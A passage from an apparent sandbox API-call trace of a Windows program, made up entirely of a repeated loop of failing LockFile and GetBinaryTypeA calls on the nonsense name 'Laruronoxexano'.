lpBinaryType=0x18d4d0) returned 0 [0098.555] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.555] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.555] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.555] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.555] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.555] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.556] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.556] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.556] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.556] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.556] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.556] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.556] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.556] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.556] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.556] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.556] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.556] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.556] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.556] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.556] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.556] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.556] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.557] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.557] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.557] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.557] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.557] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.557] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.557] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.557] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.557] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.557] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.557] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.557] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.558] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.558] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.558] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.558] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.558] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.558] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.558] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.558] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.558] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.558] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.559] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.559] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.559] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.559] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.559] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.559] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.559] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.559] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.559] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.559] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.560] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.560] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.560] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.560] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.560] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.560] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.560] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.560] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.560] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.560] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.561] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.561] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.561] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.561] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.561] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.561] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.561] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.561] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.561] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.561] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.562] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.562] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.562] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.562] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.562] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.562] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.562] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.562] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.562] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.562] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.563] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.563] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.563] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.563] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.563] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.563] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.563] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.563] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.563] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.563] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.564] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.564] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.564] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.564] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.564] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.564] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.565] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.565] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.565] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.565] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.565] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.565] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.565] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.565] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.565] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.565] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.565] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.565] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.565] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.565] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.565] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.565] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.565] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.566] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.566] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.566] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0098.566] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0098.566] LockFile 